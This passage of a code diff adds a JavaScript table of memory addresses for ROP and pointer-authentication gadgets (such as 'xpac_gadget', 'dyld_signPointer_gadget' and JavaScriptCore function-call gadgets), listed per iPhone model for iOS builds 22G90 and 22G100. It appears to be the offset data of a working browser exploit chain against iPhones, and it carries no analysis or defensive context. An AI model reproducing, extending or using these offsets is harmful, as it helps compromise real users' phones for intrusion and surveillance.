0x24c848ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26183b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed212ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01e150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,3_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ab02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c848ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26183b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed212ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01e150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,4_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9a702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c844ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2614a598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed1d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,5_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9a702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c844ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2614a598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed1d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,6_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a91f02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c7b8ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26145098cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ec952ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01e150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,7_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9bb02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c858ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26186198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed312ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02e150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,8_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9bb02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c858ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26186198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed312ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02e150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone15,2_22G90": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9ff02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c89dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261c5398cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed752ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone15,3_22G90": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9ff02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c89dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261c5398cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed752ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone15,4_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ff02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c89dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2618fb98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed752ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone15,5_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ff02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c89dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2618fb98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed752ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone16,1_22G90": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23aa0302cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24d051ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x26244f98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed792ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f03a150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone16,2_22G90": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23aa0302cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24d051ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x26244f98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed792ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f03a150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,1_22G90": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23aa0302cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c931ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261d2f98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed792ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f03a150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,2_22G90": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23aa0302cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c931ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261d2f98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed792ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f03a150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,3_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c929ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26198798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone17,4_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c929ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26198798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone17,5_22G90": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9f702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c925ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2616f598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed6d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02e150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone11,2_4_6_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abd402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c61dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d6698cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef4e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f007150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone11,6_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abd402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c61dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d6698cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef4e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f007150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + +"iPhone11,4_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23abd402cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c61dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d6698cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef4e2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f007150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone11,8_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9802cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c5e1ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d5198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef122ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f003150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone12,1_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9802cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c625ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e3b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef122ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f003150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone12,3_5_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9802cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c625ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e3b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef122ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f003150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone12,5_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23ab9802cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c625ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260e3b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ef122ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4a178n, + tcall_X0LG: 0x21f003150n, + transformSurface_gadget: 0x210168b70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone12,8_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23aaba02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c53dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x260d8398cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ee302ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f007150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone13,1_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c800ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2610de98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + 